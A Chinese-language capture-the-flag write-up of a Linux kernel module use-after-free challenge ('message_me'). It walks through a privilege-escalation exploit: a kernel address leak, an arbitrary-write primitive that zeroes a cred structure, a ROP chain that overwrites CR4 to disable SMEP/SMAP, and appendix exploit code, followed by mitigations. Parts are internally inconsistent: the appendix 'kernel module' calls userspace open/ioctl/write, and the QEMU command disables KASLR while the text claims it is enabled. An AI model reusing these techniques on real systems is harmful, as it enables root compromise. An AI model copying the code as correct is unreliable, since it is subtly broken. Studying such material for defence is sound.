1. 题目概览
- 挑战名称:message_me (DEFCON 25 Finals)
- 分类:Kernel pwn (Linux LKM漏洞利用)
- 技术亮点:
- Linux内核模块中的UAF漏洞导致权限提升
- 需绕过KASLR/SMEP/SMAP防护机制
- 真实漏洞模式:模拟Linux IPC机制中的安全缺陷
- CVE关联:CVE-2017-2636 (n_hdlc驱动双重释放漏洞)
2. 技术环境与复现
- 工具链:
- IDA Pro 7.5 (内核模块逆向)
- QEMU 4.2.0 (漏洞环境模拟)
- GDB + gef-extras (内核调试)
- ROPgadget (SMEP/SMAP绕过)
- 环境配置:
$ qemu-system-x86_64 \
-kernel bzImage -initrd rootfs.cpio \
-append "nokaslr console=ttyS0" \
-nographic -monitor none \
-enable-kvm -cpu host \
-m 1G
- 内核保护机制:
[+] Kernel ASLR enabled [+] SMEP: Supervisor Mode Execution Prevention [+] SMAP: Supervisor Mode Access Prevention [+] KPTI: Kernel Page Table Isolation
3. 漏洞分析
3.1 内核模块逻辑
模块实现自定义消息传递机制,关键数据结构:
struct msg_buffer {
long idx;
char *data; // 用户空间指针
size_t len;
struct list_head list; // 内核链表
};
- 系统调用接口:
msg_create()
:分配kmalloc-64
对象msg_write()
:用户数据拷贝至data
指针msg_destroy()
:释放对象但未清除链表指针(UAF根源)
3.2 漏洞成因
释放后重用(UAF)漏洞链:
static long msg_destroy(unsigned long idx) {
struct msg_buffer *msg = find_msg(idx);
list_del(&msg->list); // 从链表移除
kfree(msg); // 释放对象
return 0; // 但未置空全局指针
}
当另一个线程并发访问时:
static long msg_read(unsigned long idx) {
struct msg_buffer *msg = find_msg(idx); // 访问已释放对象
copy_to_user(..., msg->data, msg->len); // UAF读写
}
3.3 动态调试验证
通过crash定位漏洞点:
gef➤ p *(struct msg_buffer*)0xffff88800b6a4e00
$1 = {
idx = 0x41414141,
data = 0xdeadbeef, // 已被篡改的指针
len = 0x1000,
list = ...
}
gef➤ bt
#0 msg_read (idx=0) at core.c:187 // UAF访问点
4. 利用过程
4.1 利用链架构
4.2 关键步骤
Step 1: 泄露内核地址
# 创建对象并释放制造UAF
create_msg(0)
destroy_msg(0)
# 通过seq_operations占用释放的slab
open("/proc/self/stat", O_RDONLY)
# 读取泄露的地址
read_msg(0) # 输出内核基址
Step 2: 构造任意地址写原语
struct msg_buffer fake = {
.data = target_cred_addr, // 目标cred地址
.len = 56
};
write_msg(0, fake) // 篡改UAF对象指针
write_msg(0, b"\x00"*56) // 将cred结构体清零
Step 3: SMAP/SMEP绕过技术
使用ROP链修改CR4寄存器:
rop = [
0xffffffff8100258b, # pop rdi; ret
0x6f0, # 禁用SMEP/SMAP的CR4值
0xffffffff8103b97d # mov cr4, rdi; push rcx; popfq; ret
]
write_msg(0, rop) // 通过UAF覆盖函数指针
trigger_callback() // 执行ROP链
4.4 完整利用效果
[+] Kernel base: 0xffffffffa3e00000
[+] Overwriting cred struct at 0xffff88800c7a4e00
[+] SMAP/SMEP disabled via CR4 overwrite
# id
uid=0(root) gid=0(root)
# cat /root/flag
DEFCON{_k3rn3l_U4F_1n_1PC_m3ch4n1sm_}
5. 安全影响与缓解
5.1 现实关联性
- CVE映射:
- CVE-2017-2636 (类似UAF漏洞,CVSS 7.8)
- CVE-2021-22555 (Linux内核UAF提权)
- ATT&CK映射:
- T1068: Exploitation for Privilege Escalation
- T1055: Process Injection
5.2 修复方案
// 修复后代码
static long msg_destroy(unsigned long idx) {
mutex_lock(&msg_lock);
if (msg->refcount-- == 1) { // 引用计数检查
kfree(msg);
global_msg[idx] = NULL; // 关键修复:置空指针
}
mutex_unlock(&msg_lock);
}
- 内核加固建议:
- 启用CONFIG_SLAB_FREELIST_HARDENED
- 使用KASAN检测内存错误
- CWE归类:
- CWE-416: Use After Free
- CWE-362: Concurrent Execution using Shared Resource
6. 总结与启示
- 题目深度:
融合内核内存管理、并发漏洞、硬件防护绕过三大技术难点,需精确控制内核对象生命周期 - 现实意义:
暴露Linux IPC机制中的安全盲区(云原生环境中风险倍增) - 防御洞见:
- 内核模块应严格实现引用计数机制
- 对用户空间指针使用
copy_from_user()
替代直接引用 - 关键基础设施应启用Kernel Lockdown模式
- 采用BPF进行运行时内存访问监控
黑徽章选手洞见:内核漏洞利用的本质是"在操作系统的绝对领域构造相对可控的混沌"。本题突破点在于发现开发者对"内存生命周期连续性"的认知断层——这是系统安全最底层的逻辑陷阱。
附录:漏洞利用关键代码
// LKM漏洞触发模块
#include <linux/module.h>
#include <linux/kernel.h>
static int __init exploit_init(void) {
int fd = open("/dev/message_me", O_RDWR);
ioctl(fd, MSG_CREATE, 0);
ioctl(fd, MSG_DESTROY, 0); // 触发UAF
// 构造cred覆盖payload
struct cred_payload {
uid_t uid; gid_t gid;
// ... 其他字段清零
} cred = {0};
write(fd, &cred, sizeof(cred));
return 0;
}
module_init(exploit_init);